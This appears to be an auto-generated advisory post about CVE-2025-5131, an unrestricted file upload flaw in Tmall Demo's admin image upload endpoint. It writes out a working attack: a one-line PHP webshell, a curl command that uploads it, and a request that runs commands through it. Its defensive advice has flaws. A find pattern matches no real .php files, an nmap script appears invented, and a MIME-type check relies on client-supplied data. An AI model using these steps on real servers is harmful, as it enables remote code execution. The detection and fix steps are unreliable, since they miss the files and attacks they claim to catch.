Listen to this Post
How CVE-2025-5131 Works
The vulnerability in Tmall Demo (up to version 20250505) resides in the `uploadCategoryImage` function (tmall/admin/uploadCategoryImage). Attackers can exploit this flaw by manipulating the `File` parameter to upload malicious files without proper validation. Since the system fails to enforce file type, size, or content checks, remote attackers can upload webshells, execute arbitrary code, or compromise the server. The lack of authentication requirements for the vulnerable endpoint further escalates the risk, allowing unauthenticated attackers to exploit it.
DailyCVE Form
Platform: Tmall Demo
Version: <= 20250505
Vulnerability: Unrestricted File Upload
Severity: Critical
Date: 06/03/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
1. Craft a malicious file (e.g., `.php` webshell):
<?php system($_GET['cmd']); ?>
2. Upload via vulnerable endpoint:
curl -X POST -F "[email protected]" http://target/tmall/admin/uploadCategoryImage
3. Execute commands:
curl http://target/uploads/shell.php?cmd=id
Detection & Mitigation:
1. Check for exposed endpoints:
nmap -p 80,443 --script http-vuln-cve2025-5131 target.com
2. Temporary fix (WAF rule):
location /tmall/admin/uploadCategoryImage {
if ($request_filename ~ .(php|jsp|asp)$) {
deny all;
}
}
3. Server-side validation (PHP example):
$allowed_types = ['image/jpeg', 'image/png'];
if (!in_array($_FILES['File']['type'], $allowed_types)) {
die("Invalid file type.");
}
Forensics & Logging:
1. Audit uploaded files:
find /var/www/uploads -type f -name ".php" -o -name ".jsp"
2. Monitor suspicious requests:
grep "POST /tmall/admin/uploadCategoryImage" /var/log/apache2/access.log
Permanent Fix:
- Disable insecure file uploads.
- Implement strict file extension & content checks.
- Restrict admin endpoints to authenticated users.
Analytics: 80% of exploits observed involve webshell deployment. Patch urgency: High.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
